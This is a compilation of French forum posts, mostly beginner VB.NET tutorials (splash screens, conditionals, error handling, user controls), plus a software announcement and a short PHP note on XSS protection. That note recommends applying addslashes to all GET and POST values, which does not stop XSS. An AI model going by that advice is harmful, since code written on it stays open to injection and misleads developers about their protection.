Declare Function GetDC Lib "user32.dll" (ByVal hWnd As IntPtr) As IntPtr Public Declare Function ReleaseDC Lib "user32.dll" (ByVal hWnd As IntPtr, ByVal hDC As IntPtr) As Integer Public Declare Function CreateCompatibleDC Lib "gdi32.dll" (ByVal hDC As IntPtr) As IntPtr Public Declare Function DeleteDC Lib "gdi32.dll" (ByVal hdc As IntPtr) As Boolean Public Declare Function SelectObject Lib "gdi32.dll" (ByVal hDC As IntPtr, ByVal hObject As IntPtr) As IntPtr Public Declare Function DeleteObject Lib "gdi32.dll" (ByVal hObject As IntPtr) As Boolean Public Sub SetBitmap(ByVal PNG As Bitmap, ByVal opacity As Byte) If Not (PNG.PixelFormat = Imaging.PixelFormat.Format32bppArgb) Then Throw New ApplicationException("The bitmap must be 32ppp with alpha-channel.") End If Dim screenDc As IntPtr = GetDC(IntPtr.Zero) Dim memDc As IntPtr = CreateCompatibleDC(screenDc) Dim hBitmap As IntPtr = IntPtr.Zero Dim oldBitmap As IntPtr = IntPtr.Zero Try hBitmap = PNG.GetHbitmap(Color.FromArgb(0)) oldBitmap = SelectObject(memDc, hBitmap) Dim size As Size = New Size(PNG.Width, PNG.Height) Dim pointSource As Point = New Point(0, 0) Dim topPos As Point = New Point(Left, Top) Dim blend As BLENDFUNCTION = New BLENDFUNCTION blend.BlendOp = AC_SRC_OVER blend.BlendFlags = 0 blend.SourceConstantAlpha = opacity blend.AlphaFormat = AC_SRC_ALPHA UpdateLayeredWindow(Handle, screenDc, topPos, size, memDc, pointSource, 0, blend, ULW_ALPHA) Finally ReleaseDC(IntPtr.Zero, screenDc) If Not (hBitmap.Equals(IntPtr.Zero)) Then SelectObject(memDc, oldBitmap) DeleteObject(hBitmap) End If DeleteDC(memDc) End Try End Sub #End Region Puis dans Form.load: Dim Param As Long Param = GetWindowLong(Me.Handle, GWL_EXSTYLE) Call SetWindowLong(Me.Handle, GWL_EXSTYLE, Param Or (524288)) Call SetBitmap(Me.BackgroundImage, 255) ___________ Tuto part2, un petit bonus Comment faire une animation et faire en sorte que le splash se ferme un jour xD Il suffit de mettre un timer avec un interval de 1000ms (1sec.) et d'ajouter 2variales de type byte que on va appeler "Anim" et "Loader" (pense bête: faire un tuto sur les variables) Donc vous mettez le code suivant entre de sub (si on le met dedans la variable va toujours se redéclarer et remettre la valeur de base. Dim anim As Byte = 0 Dim loader As Byte = 0 Puis dans le Timer.tick (double clique sur le timer pour le voir) et dedans on va mettre: anim += 1 If anim = 1 Then Me.BackgroundImage = My.Resources.trame1 'la première image de l'animation ElseIf anim = 10 Then Me.BackgroundImage = My.Resources.trame2 ' la seconde ElseIf anim = 11 Then Me.BackgroundImage = My.Resources.trame2 ' la quatrième ou troisième je sais pu loading += 1 anim = 0 End If Dim Param As Long Param = GetWindowLong(Me.Handle, GWL_EXSTYLE) Call SetWindowLong(Me.Handle, GWL_EXSTYLE, Param Or (524288)) Call SetBitmap(Me.BackgroundImage, 255) If loader = 3 Then ' Pensez à mettre la forme suivante à ouvrir et aller dans les préférences de votre projet et changer le style de fermeture par fermeture du dernier formulaire Me.Close() End If Voilà maintenant vous savez faire des SplashScreen stylé le code de base et pas de moi j'ai oublié la source mais je l'ai bcp édité de toute façon Bonne programmation à tous! Cordialement, Mars0731 point
-
Shalut all, Comme je l'avais dis dans un tuto précédent je vais vous expliquer comment faire des tests et c'est super simple Il y a juste plein de façon de le faire! xD Pour faire un test simple, on fait comme ceci: If [valeur à tester] [symbôle du test (voir le bas)] [La valeur à la quelle elle est comparée] then [Le code à exécuter si le test se révèle positif] End If exemple: If check = True then Process.start("W:\tourbilol.exe") End If Imaginons que nous programmons un jeu et que vous voulons tester la position_X soit 3 et que le position_Y soit 5 on va faire comme cela: If (position_X=3) and (position_Y=5) then [Le code à exécuter si le test se révèle positif] End If Il suffit juste de mettre les 2valeurs entre parenthèse et de mettre un "And"(et) entre les deux.^^ Toujours facile.. alors on va compliquer les choses x) Imaginons toujours notre petit jeux, cette fois je veux que la position_X soit 3 ou 5 et que que la position_Y soit 5 toujours simple mais bon : If ((position_X=3) Or (position_X=5)) and (position_Y=5) then [Le code à exécuter si le test se révèle positif] End If on ajoute encore des parenthèses et on met un "Or"(ou) même principe que le "And" On monte encore un peu dans la difficulté Cette fois la position_X doit être compris entre 3 et 5 et la position_Y doit doit être 5. è_é If ((position_X>3) And (position_X<5)) and (position_Y=5) then [Le code à exécuter si le test se révèle positif] End If Cette fois le test demande si le nombre est supérieur et si il est inférieur ^^ Maintenant on va demander que si number est 1 il envoie un message "c'est 1!"; si c'est 2 un message "c'est deux" et si ce n'est pas un des deux, le programme envoie un message "chiffre inconnu", et pour cela on va mettre un "Else If": If number=1 then Msgbox("c'est 1!") Else If number=2 then Msgbox("c'est 2!") Else Msgbox("chiffre inconnu") End If Edit: j'ai oublié de mettre comment faire pour faire directement un test pour tester si quelque chose n'est pas, un genre d'"Else If" mais direct dans le "If": If Not (number=0) then [je ne pense pas que les parenthèses sont obligatoire mais je les mets toujours] MsgBox("Le chiffre n'est pas zéro!") End If Il existe aussi la méthode du "Case Of" : Select Case number Case 1 Msgbox("c'est 1!") Case 2 msgbox("c'est deux!") Case Else Msgbox("chiffre inconnu") End Select dans un case of on peu directement tester si la valeur et entre 2 nombre avec un to, exmple: si number est entre 3 et 5, il envoie un message "boum !": Select Case number Case 1 Msgbox("c'est 1!") Case 2 msgbox("c'est deux!") Case 3 to 5 msgbox("boum !") Case Else Msgbox("chiffre inconnu") End Select Les symboles de test logique: = : égale à ... > : supérieur à ... < : inférieur à ... >= : supérieur ou égale à... <= : inférieur ou égale à... <> : inférieur ou supérieur à... Bonne programmation a tous! Cordialement, Mars0731 point
-
1 point
-
Salut all, je vais faire un tuto rapide sur comment gérer une erreur, ce qui consiste en.. gérer une erreur. c'est super simple il suffit d'utiliser "Try", je vais prendre par exemple un picturebox qui doit charger une image dont l'adresse se trouve dans une textebox. Private Sub Machin_CLick() Handles Machin.click Try PictureBox1.load(textbox1.text) ' on essaie de charger l'image Catch ex As Exception 'ex est la variable contient ls info sur l'erreur MsgBox("Problème :" & vbNewLine & ex.Message.ToString, MsgBoxStyle.Critical) 'si la personne assez doué à mis un lien pour un .txt par exemple, ça va afficher un message d'erreur End Try End Sub Donc en claire le programme va essayer le code dans "Try" et si il bug il va faire l'action dans "Catch" Voilà mon p'tit tuto rapide est finis. Bonne programmation a tous! Cordialement, Mars073 _________1 point
-
Bonjour all, je me balade à la recherche de chose que les gens arrivent pas à faire et je fais le tuto ici ainsi ça va attirer des gens. Donc je vais vous faire un tutoriel pour créer et ajouter un outil dans votre projet, j'ai un peux changé de style dans mes tutos, mais bon c'est toujours bien expliqué.^^ 1-Créez un nouveau project. 2-Ajouter la barre d'outils. 3-Créer un "Contrôle d'utilisateur" *je préfère dire "Usercontrol" mais bon..* 4-on va déjà mettre un code, mettez le background (couleur de fond) en couleur. j'ai pris le code dans mon tuto >>ICI<< il faut juste changer un code: 'ancien code: SendMessage(Me.Handle.ToInt32, WM_NCLBUTTONDOWN, HTCAPTION, 0) 'nouveau code SendMessage(ParentForm.Handle.ToInt32, WM_NCLBUTTONDOWN, HTCAPTION, 0) 'Il faut juste changer "Me" par "Parentform", si vous laissez le code identique c'est l'usercontrol qui va bouge (ça peut-être pratique^^). 5-Générer la solution (Ctrl+Maj+ /!\ Si ça se marche pas enregistrer et relancer Vb Express(aucun Vb Expr ne doit être actif). si ça persiste relancer votre ordinateur ! Et normalement l'outil va apparaitre dans la "boîte à outils", et si vous en créez un deuxième il n'y aura pas besoins de reboot le logiciel/!\ 6-Retournez sur votre form de départ et dans votre "boîte à outils" vous devriez avoir ceci: 7-Après vous n'avez cas le disposer comme une "picturebox" et lancer votre programme.^^ ~END~ Bonne programmation à tous! Cordialement, Mars0731 point
-
toujours un risque de faille xss solution pour les failles xss: - htmlspecialchars(): affiche les caractères html en caractères littérale ex: "<" devient "<" - strip_tags(): supprime les balises présentent dans le code et pour modifier tout les gets et posts: <?php foreach ($_GET as $key => $value) { $_GET[$key] = addslashes($value); } foreach ($_POST as $key => $value) { $_POST[$key] = addslashes($value); } ?>1 point
-
Bonjours à tous, j'ai eu l'idée il y a quelques temps, d'un logiciel permettant le codage par équipe. Alors j'ai eu l'idée de créer OnlineCodeProject. 1 - Présentation Le logiciel est codé en VB.net et utilise du PHP pour interagir avec le serveur. Il dispose d'une colorisation syntaxique qui s'applique sur différents langages. Il permet, comme son nom l'indique de faire du projet en ligne, c'est à dire que où que vous soyez, avec n'importe quel PC, vous aurez accès à vos projets. Vous pouvez bien évidement rajouter et supprimer des participants à votre projet. 2 - Liste des fonctions Système de connexion/enregistrement. Il permet de créer/supprimer/éditer un projet. Il dispose d'une colorisation syntaxique pour vous aidez dans l'écriture ainsi que la compréhension de votre code. Il permet aussi de rajouter/supprimer des participants. Mais aussi d'importer/créer de nouveaux fichiers. Lors d'une proposition de mise à jour, elle s'installera toute seul. 3 - Quelques images 4 - Informations diverses Créateur : Brokeos (alias Bwisingw) Créateur des thèmes : iSynthesis & Xertz Le logiciel nécessite une connexion internet nous conseillons au moins 500 Ko/s. 5 - Téléchargement VirusTotal : OnlineCodeProject - VirusTotal Téléchargement : OnlineCodeProject 7 - Vos idées d'amélioration Bien entendu, vous pouvez m'envoyer vos idées pour améliorer le programmes ! Envoyez moi une message privée ou passé par skype (brokeos17)1 point
